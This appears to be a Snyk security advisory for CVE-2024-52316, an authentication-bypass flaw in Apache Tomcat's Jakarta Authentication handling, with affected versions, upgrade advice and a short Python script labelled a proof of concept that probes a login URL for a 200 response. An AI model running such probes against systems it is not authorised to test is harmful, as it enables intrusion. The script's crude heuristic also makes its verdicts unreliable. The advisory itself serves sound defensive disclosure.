Uncaught Exception Affecting org.apache.tomcat:tomcat-catalina package, versions [9.0.0.M1,9.0.96)[10.1.0-M1,10.1.31)[11.0.0-M1,11.0.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.63% (70th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncaught Exception vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGAPACHETOMCAT-8383919
  • published19 Nov 2024
  • disclosed18 Nov 2024
  • creditTomcat Security Team

Introduced: 18 Nov 2024

CVE-2024-52316  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade org.apache.tomcat:tomcat-catalina to version 9.0.96, 10.1.31, 11.0.0 or higher.

Overview

org.apache.tomcat:tomcat-catalina is a Tomcat Servlet Engine Core Classes and Standard implementations.

Affected versions of this package are vulnerable to Uncaught Exception due to the custom Jakarta Authentication ServerAuthContext component which may throw an exception during the authentication process without setting an HTTP status to indicate failure. An attacker can gain unauthorized access by exploiting this unchecked error condition.

Note:

This is only exploitable if Tomcat is configured to use a custom Jakarta Authentication ServerAuthContext component that behaves in this way. According to the maintainers, no such cases are known.

PoC

import requests

# Target server configuration
TARGET_URL = "http://example.com/login"  # Replace with your target's authentication URL
TEST_HEADERS = {
    "Content-Type": "application/json"
}
TEST_PAYLOAD = {
    "username": "test_user",  # Sample username
    "password": "invalid_password"  # Invalid password for testing
}

def check_cve_2024_52316(target_url):
    """
    Test for CVE-2024-52316 vulnerability by sending crafted authentication requests.

    Args:
        target_url (str): The URL of the authentication endpoint to test.
    """
    try:
        print(f"[*] Sending test request to {target_url}")
        # Send a POST request with the test payload
        response = requests.post(target_url, json=TEST_PAYLOAD, headers=TEST_HEADERS, timeout=5)
        
        # Analyze the server's response
        if response.status_code in [401, 403]:
            print(f"[SAFE] The server returned an expected HTTP status code: {response.status_code}")
        elif response.status_code == 200:
            print(f"[VULNERABLE] Potential CVE-2024-52316 detected! Server returned status code: {response.status_code}")
        else:
            print(f"[INFO] Unexpected HTTP status code: {response.status_code}")
            print("Response content:", response.text)
    except requests.exceptions.RequestException as e:
        print(f"[ERROR] Failed to connect to the target: {e}")

if __name__ == "__main__":
    print("[START] CVE-2024-52316 Detection Script")
    check_cve_2024_52316(TARGET_URL)

CVSS Base Scores

version 4.0
version 3.1